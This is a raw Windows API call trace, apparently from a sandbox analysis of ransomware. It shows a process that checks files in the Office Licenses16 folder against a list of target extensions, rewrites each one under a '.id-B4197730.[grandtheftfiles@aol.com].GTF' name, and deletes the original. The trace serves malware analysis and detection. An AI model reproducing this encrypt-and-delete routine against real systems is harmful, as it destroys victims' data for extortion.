	[0168.976] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0168.976] lstrlenW (lpString=".dbf") returned 4
	[0168.976] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0168.976] lstrlenW (lpString=".1cd") returned 4
	[0168.976] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0168.976] lstrlenW (lpString=".jpg") returned 4
	[0168.976] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0168.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0168.976] lstrlenW (lpString=".doc") returned 4
	[0168.976] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.976] lstrlenW (lpString=".docx") returned 5
	[0168.976] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.976] lstrlenW (lpString=".pdf") returned 4
	[0168.976] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.976] lstrlenW (lpString=".xls") returned 4
	[0168.976] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.976] lstrlenW (lpString=".xlsx") returned 5
	[0168.976] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.976] lstrlenW (lpString=".ppt") returned 4
	[0168.976] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0168.976] lstrlenW (lpString=".zip") returned 4
	[0168.976] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.976] lstrlenW (lpString=".rar") returned 4
	[0168.976] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.976] lstrlenW (lpString=".bz2") returned 4
	[0168.976] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.976] lstrlenW (lpString=".7z") returned 3
	[0168.977] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0168.977] lstrlenW (lpString=".dbf") returned 4
	[0168.977] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0168.977] lstrlenW (lpString=".1cd") returned 4
	[0168.977] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0168.977] lstrlenW (lpString=".jpg") returned 4
	[0168.977] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.977] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.977] lstrlenW (lpString="client-issuance-bridge-office.xrm-ms") returned 36
	[0168.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.197] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3211) returned 1
	[0169.197] CloseHandle (hObject=0x3dc) returned 1
	[0169.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220
	[0169.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.198] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.198] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0169.199] GetLastError () returned 0x0
	[0169.199] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0xc8b, lpOverlapped=0x0) returned 1
	[0169.230] WriteFile (in: hFile=0x564, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xc90, lpOverlapped=0x0) returned 1
	[0169.231] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.231] WriteFile (in: hFile=0x564, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0169.231] SetEndOfFile (hFile=0x564) returned 1
	[0169.283] CloseHandle (hObject=0x564) returned 1
	[0169.283] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.283] SetEndOfFile (hFile=0x3dc) returned 1
	[0169.286] CloseHandle (hObject=0x3dc) returned 1
	[0169.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 1
	[0169.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0169.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0169.288] lstrlenW (lpString=".doc") returned 4
	[0169.288] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.288] lstrlenW (lpString=".docx") returned 5
	[0169.288] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.288] lstrlenW (lpString=".pdf") returned 4
	[0169.288] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.288] lstrlenW (lpString=".xls") returned 4
	[0169.288] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.288] lstrlenW (lpString=".xlsx") returned 5
	[0169.288] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.288] lstrlenW (lpString=".ppt") returned 4
	[0169.288] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0169.288] lstrlenW (lpString=".zip") returned 4
	[0169.288] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.288] lstrlenW (lpString=".rar") returned 4
	[0169.288] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.288] lstrlenW (lpString=".bz2") returned 4
	[0169.288] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.288] lstrlenW (lpString=".7z") returned 3
	[0169.288] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0169.288] lstrlenW (lpString=".dbf") returned 4
	[0169.288] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0169.288] lstrlenW (lpString=".1cd") returned 4
	[0169.288] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0169.288] lstrlenW (lpString=".jpg") returned 4
	[0169.288] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0169.289] lstrlenW (lpString=".doc") returned 4
	[0169.289] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.289] lstrlenW (lpString=".docx") returned 5
	[0169.289] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.289] lstrlenW (lpString=".pdf") returned 4
	[0169.289] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.289] lstrlenW (lpString=".xls") returned 4
	[0169.289] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.289] lstrlenW (lpString=".xlsx") returned 5
	[0169.289] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.289] lstrlenW (lpString=".ppt") returned 4
	[0169.289] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0169.289] lstrlenW (lpString=".zip") returned 4
	[0169.289] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.289] lstrlenW (lpString=".rar") returned 4
	[0169.289] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.289] lstrlenW (lpString=".bz2") returned 4
	[0169.289] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.289] lstrlenW (lpString=".7z") returned 3
	[0169.289] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0169.289] lstrlenW (lpString=".dbf") returned 4
	[0169.289] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0169.289] lstrlenW (lpString=".1cd") returned 4
	[0169.289] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86
	[0169.289] lstrlenW (lpString=".jpg") returned 4
	[0169.289] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.290] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.290] lstrlenW (lpString="ExcelR_Grace-ul-oob.xrm-ms") returned 26
	[0169.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.290] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11589) returned 1
	[0169.290] CloseHandle (hObject=0x3dc) returned 1
	[0169.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220
	[0169.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.295] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.295] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0169.295] GetLastError () returned 0x0
	[0169.296] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d45, lpOverlapped=0x0) returned 1
	[0169.298] WriteFile (in: hFile=0x564, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0169.299] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.299] WriteFile (in: hFile=0x564, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x108, lpOverlapped=0x0) returned 1
	[0169.299] SetEndOfFile (hFile=0x564) returned 1
	[0169.299] CloseHandle (hObject=0x564) returned 1
	[0169.299] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.299] SetEndOfFile (hFile=0x3dc) returned 1
	[0169.302] CloseHandle (hObject=0x3dc) returned 1
	[0169.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 1
	[0169.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0169.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0169.303] lstrlenW (lpString=".doc") returned 4
	[0169.303] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.303] lstrlenW (lpString=".docx") returned 5
	[0169.303] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.303] lstrlenW (lpString=".pdf") returned 4
	[0169.303] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.303] lstrlenW (lpString=".xls") returned 4
	[0169.303] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.303] lstrlenW (lpString=".xlsx") returned 5
	[0169.303] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.303] lstrlenW (lpString=".ppt") returned 4
	[0169.303] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0169.303] lstrlenW (lpString=".zip") returned 4
	[0169.303] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.303] lstrlenW (lpString=".rar") returned 4
	[0169.304] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.304] lstrlenW (lpString=".bz2") returned 4
	[0169.304] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.304] lstrlenW (lpString=".7z") returned 3
	[0169.304] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0169.304] lstrlenW (lpString=".dbf") returned 4
	[0169.304] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0169.304] lstrlenW (lpString=".1cd") returned 4
	[0169.304] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0169.304] lstrlenW (lpString=".jpg") returned 4
	[0169.304] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0169.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0169.304] lstrlenW (lpString=".doc") returned 4
	[0169.304] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.304] lstrlenW (lpString=".docx") returned 5
	[0169.304] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.304] lstrlenW (lpString=".pdf") returned 4
	[0169.304] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.304] lstrlenW (lpString=".xls") returned 4
	[0169.304] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.304] lstrlenW (lpString=".xlsx") returned 5
	[0169.304] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.304] lstrlenW (lpString=".ppt") returned 4
	[0169.304] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0169.304] lstrlenW (lpString=".zip") returned 4
	[0169.304] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.304] lstrlenW (lpString=".rar") returned 4
	[0169.304] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.304] lstrlenW (lpString=".bz2") returned 4
	[0169.305] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.305] lstrlenW (lpString=".7z") returned 3
	[0169.305] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0169.305] lstrlenW (lpString=".dbf") returned 4
	[0169.305] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0169.305] lstrlenW (lpString=".1cd") returned 4
	[0169.305] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0169.305] lstrlenW (lpString=".jpg") returned 4
	[0169.305] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.305] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.305] lstrlenW (lpString="ExcelR_OEM_Perp-pl.xrm-ms") returned 25
	[0169.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.306] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10635) returned 1
	[0169.306] CloseHandle (hObject=0x3dc) returned 1
	[0169.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220
	[0169.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0169.306] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.306] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0169.307] GetLastError () returned 0x0
	[0169.307] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x298b, lpOverlapped=0x0) returned 1
	[0169.310] WriteFile (in: hFile=0x564, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0169.311] ReadFile (in: hFile=0x3dc, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.311] WriteFile (in: hFile=0x564, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x106, lpOverlapped=0x0) returned 1
	[0169.312] SetEndOfFile (hFile=0x564) returned 1
	[0169.312] CloseHandle (hObject=0x564) returned 1
	[0169.312] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.312] SetEndOfFile (hFile=0x3dc) returned 1
	[0169.314] CloseHandle (hObject=0x3dc) returned 1
	[0169.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 1
	[0169.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0169.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0169.315] lstrlenW (lpString=".doc") returned 4
	[0169.315] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.315] lstrlenW (lpString=".docx") returned 5
	[0169.315] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.315] lstrlenW (lpString=".pdf") returned 4
	[0169.315] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.316] lstrlenW (lpString=".xls") returned 4
	[0169.316] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
